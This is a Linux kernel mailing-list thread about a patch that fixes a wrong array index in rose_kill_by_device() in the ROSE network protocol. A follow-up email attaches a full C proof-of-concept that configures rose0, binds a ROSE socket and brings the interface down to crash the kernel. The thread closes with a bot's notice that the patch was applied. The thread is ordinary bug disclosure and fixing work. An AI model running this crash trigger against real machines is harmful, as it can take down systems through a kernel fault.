[PATCH net] net: rose: fix invalid array index in rose_kill_by_device()

[PATCH net] net: rose: fix invalid array index in rose_kill_by_device()

[Sai Ritvik Tanksalkar]

From: Pwnverse <stanksal@purdue.edu>

rose_kill_by_device() collects sockets into a local array[] and then
iterates over them to disconnect sockets bound to a device being brought
down.

The loop mistakenly indexes array[cnt] instead of array[i]. For cnt <
ARRAY_SIZE(array), this reads an uninitialized entry; for cnt ==
ARRAY_SIZE(array), it is an out-of-bounds read. Either case can lead to
an invalid socket pointer dereference and also leaks references taken
via sock_hold().

Fix the index to use i.

Fixes: 64b8bc7d5f143 ("net/rose: fix races in rose_kill_by_device()")
Co-developed-by: Fatma Alwasmi <falwasmi@purdue.edu>
Signed-off-by: Fatma Alwasmi <falwasmi@purdue.edu>
Signed-off-by: Pwnverse <stanksal@purdue.edu>
---
 net/rose/af_rose.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/rose/af_rose.c b/net/rose/af_rose.c
index fd67494f2815..c0f5a515a8ce 100644
--- a/net/rose/af_rose.c
+++ b/net/rose/af_rose.c
@@ -205,7 +205,7 @@ static void rose_kill_by_device(struct net_device *dev)
 	spin_unlock_bh(&rose_list_lock);
 
 	for (i = 0; i < cnt; i++) {
-		sk = array[cnt];
+		sk = array[i];
 		rose = rose_sk(sk);
 		lock_sock(sk);
 		spin_lock_bh(&rose_list_lock);
-- 
2.43.0

Re: [PATCH net] net: rose: fix invalid array index in rose_kill_by_device()

[Ritvik Tanksalkar]

[-- Attachment #1.1: Type: text/plain, Size: 1644 bytes --]

Hello,

Apologies for another ping. I forgot to attach the POC (results in crash
under CAP_NET_ADMIN).

Warm Regards,
Ritvik Tanksalkar

On Mon, Dec 22, 2025 at 4:22 PM Sai Ritvik Tanksalkar <
ritviktanksalkar@gmail.com> wrote:

> From: Pwnverse <stanksal@purdue.edu>
>
> rose_kill_by_device() collects sockets into a local array[] and then
> iterates over them to disconnect sockets bound to a device being brought
> down.
>
> The loop mistakenly indexes array[cnt] instead of array[i]. For cnt <
> ARRAY_SIZE(array), this reads an uninitialized entry; for cnt ==
> ARRAY_SIZE(array), it is an out-of-bounds read. Either case can lead to
> an invalid socket pointer dereference and also leaks references taken
> via sock_hold().
>
> Fix the index to use i.
>
> Fixes: 64b8bc7d5f143 ("net/rose: fix races in rose_kill_by_device()")
> Co-developed-by: Fatma Alwasmi <falwasmi@purdue.edu>
> Signed-off-by: Fatma Alwasmi <falwasmi@purdue.edu>
> Signed-off-by: Pwnverse <stanksal@purdue.edu>
> ---
>  net/rose/af_rose.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/net/rose/af_rose.c b/net/rose/af_rose.c
> index fd67494f2815..c0f5a515a8ce 100644
> --- a/net/rose/af_rose.c
> +++ b/net/rose/af_rose.c
> @@ -205,7 +205,7 @@ static void rose_kill_by_device(struct net_device *dev)
>         spin_unlock_bh(&rose_list_lock);
>
>         for (i = 0; i < cnt; i++) {
> -               sk = array[cnt];
> +               sk = array[i];
>                 rose = rose_sk(sk);
>                 lock_sock(sk);
>                 spin_lock_bh(&rose_list_lock);
> --
> 2.43.0
>
>

[-- Attachment #1.2: Type: text/html, Size: 2547 bytes --]

[-- Attachment #2: net_rose_poc.c --]
[-- Type: application/octet-stream, Size: 5882 bytes --]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <arpa/inet.h>

/* ROSE protocol definitions */
#ifndef AF_ROSE
#define AF_ROSE 11
#endif

#ifndef PF_ROSE
#define PF_ROSE AF_ROSE
#endif

#ifndef ARPHRD_ROSE
#define ARPHRD_ROSE 270
#endif

#ifndef ROSE_ADDR_LEN
#define ROSE_ADDR_LEN 5
#endif

#ifndef AX25_ADDR_LEN  
#define AX25_ADDR_LEN 7
#endif

/* ROSE address structure */
typedef struct {
    unsigned char rose_addr[ROSE_ADDR_LEN];
} rose_address;

/* AX.25 address structure */
typedef struct {
    unsigned char ax25_call[AX25_ADDR_LEN];
} ax25_address;

/* ROSE socket address */
struct sockaddr_rose {
    sa_family_t srose_family;
    rose_address srose_addr;
    ax25_address srose_call;
    int srose_ndigis;
    ax25_address srose_digi;
};

struct full_sockaddr_rose {
    sa_family_t srose_family;
    rose_address srose_addr;
    ax25_address srose_call;
    unsigned int srose_ndigis;
    ax25_address srose_digis[6];
};

/* Set a ROSE address (10 BCD digits packed into 5 bytes) */
static void set_rose_addr(rose_address *addr)
{
    memset(addr, 0, sizeof(*addr));
    addr->rose_addr[0] = 0x12;
    addr->rose_addr[1] = 0x34;
    addr->rose_addr[2] = 0x56;
    addr->rose_addr[3] = 0x78;
    addr->rose_addr[4] = 0x90;
}

/* Set an AX.25 callsign (6 chars shifted left by 1, + SSID byte) */
static void set_ax25_call(ax25_address *call, const char *str)
{
    int i;
    memset(call, 0, sizeof(*call));
    for (i = 0; i < 6 && str[i]; i++) {
        call->ax25_call[i] = str[i] << 1;
    }
    for (; i < 6; i++) {
        call->ax25_call[i] = ' ' << 1;
    }
    call->ax25_call[6] = 0x60; /* SSID */
}

/* Configure rose0 interface */
static int setup_rose_interface(int bring_up)
{
    int sock_fd;
    struct ifreq ifr;

    sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock_fd < 0) {
        perror("socket for ioctl");
        return -1;
    }

    if (bring_up) {
        /* Set the ROSE hardware address on rose0 */
        memset(&ifr, 0, sizeof(ifr));
        strncpy(ifr.ifr_name, "rose0", IFNAMSIZ - 1);
        
        ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
        ifr.ifr_hwaddr.sa_data[0] = 0x12;
        ifr.ifr_hwaddr.sa_data[1] = 0x34;
        ifr.ifr_hwaddr.sa_data[2] = 0x56;
        ifr.ifr_hwaddr.sa_data[3] = 0x78;
        ifr.ifr_hwaddr.sa_data[4] = 0x90;

        if (ioctl(sock_fd, SIOCSIFHWADDR, &ifr) < 0) {
            perror("SIOCSIFHWADDR rose0");
            close(sock_fd);
            return -1;
        }
        printf("[+] Set ROSE address on rose0\n");
    }

    /* Get current flags */
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, "rose0", IFNAMSIZ - 1);
    
    if (ioctl(sock_fd, SIOCGIFFLAGS, &ifr) < 0) {
        perror("SIOCGIFFLAGS rose0");
        close(sock_fd);
        return -1;
    }

    if (bring_up) {
        ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
        printf("[+] Bringing rose0 UP\n");
    } else {
        ifr.ifr_flags &= ~(IFF_UP | IFF_RUNNING);
        printf("[+] Bringing rose0 DOWN (this triggers the bug)\n");
    }
    
    if (ioctl(sock_fd, SIOCSIFFLAGS, &ifr) < 0) {
        perror("SIOCSIFFLAGS rose0");
        close(sock_fd);
        return -1;
    }

    close(sock_fd);
    return 0;
}

int main(void)
{
    int rose_fd;
    struct full_sockaddr_rose local_addr;
    /* Step 1: Set up rose0 interface with address and bring UP */
    printf("[*] Step 1: Setting up rose0 interface...\n");
    if (setup_rose_interface(1) < 0) {
        fprintf(stderr, "[-] Failed to set up rose0 interface\n");
        fprintf(stderr, "    Make sure CONFIG_ROSE is enabled and you have root privileges\n");
        return 1;
    }

    /* Step 2: Create ROSE socket */
    printf("[*] Step 2: Creating ROSE socket...\n");
    rose_fd = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (rose_fd < 0) {
        perror("socket AF_ROSE");
        fprintf(stderr, "    Make sure CONFIG_ROSE is enabled\n");
        return 1;
    }
    printf("[+] ROSE socket created (fd=%d)\n", rose_fd);

    /* Step 3: Bind the socket to rose0's address
     * This adds the socket to rose_list with rose->device = dev
     */
    printf("[*] Step 3: Binding socket to rose0...\n");
    memset(&local_addr, 0, sizeof(local_addr));
    local_addr.srose_family = AF_ROSE;
    set_rose_addr(&local_addr.srose_addr);
    set_ax25_call(&local_addr.srose_call, "TEST0");
    local_addr.srose_ndigis = 0;

    if (bind(rose_fd, (struct sockaddr *)&local_addr, sizeof(struct sockaddr_rose)) < 0) {
        perror("bind ROSE");
        close(rose_fd);
        return 1;
    }
    printf("[+] ROSE socket bound to rose0\n");

    /* Step 4: Bring rose0 DOWN
     * 
     * This triggers:
     * - rose_device_event() with NETDEV_DOWN
     * - rose_kill_by_device(dev) is called
     * - Our socket is found and added to array[0], cnt becomes 1
     * - Loop: for (i = 0; i < 1; i++) { sk = array[1]; ... }
     *   BUG: Reads array[1] instead of array[0]!
     * - array[1] contains garbage/uninitialized stack data
     * - lock_sock(sk) crashes with NULL pointer dereference
     */
    printf("\n[*] Step 4: Triggering bug by bringing rose0 DOWN...\n");
    printf("[!] Expected: Kernel crash in lock_sock() due to array[cnt] bug\n\n");
    
    if (setup_rose_interface(0) < 0) {
        fprintf(stderr, "[-] Failed to bring rose0 down\n");
        close(rose_fd);
        return 1;
    }

    /* If we reach here, the bug didn't trigger (shouldn't happen) */
    printf("[?] Interface brought down - check dmesg for crash\n");

    close(rose_fd);
    return 0;
}

Re: [PATCH net] net: rose: fix invalid array index in rose_kill_by_device()

[patchwork-bot+netdevbpf]

Hello:

This patch was applied to netdev/net.git (main)
by Paolo Abeni <pabeni@redhat.com>:

On Mon, 22 Dec 2025 21:22:27 +0000 you wrote:
> From: Pwnverse <stanksal@purdue.edu>
> 
> rose_kill_by_device() collects sockets into a local array[] and then
> iterates over them to disconnect sockets bound to a device being brought
> down.
> 
> The loop mistakenly indexes array[cnt] instead of array[i]. For cnt <
> ARRAY_SIZE(array), this reads an uninitialized entry; for cnt ==
> ARRAY_SIZE(array), it is an out-of-bounds read. Either case can lead to
> an invalid socket pointer dereference and also leaks references taken
> via sock_hold().
> 
> [...]

Here is the summary with links:
  - [net] net: rose: fix invalid array index in rose_kill_by_device()
    https://git.kernel.org/netdev/net/c/6595beb40fb0

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html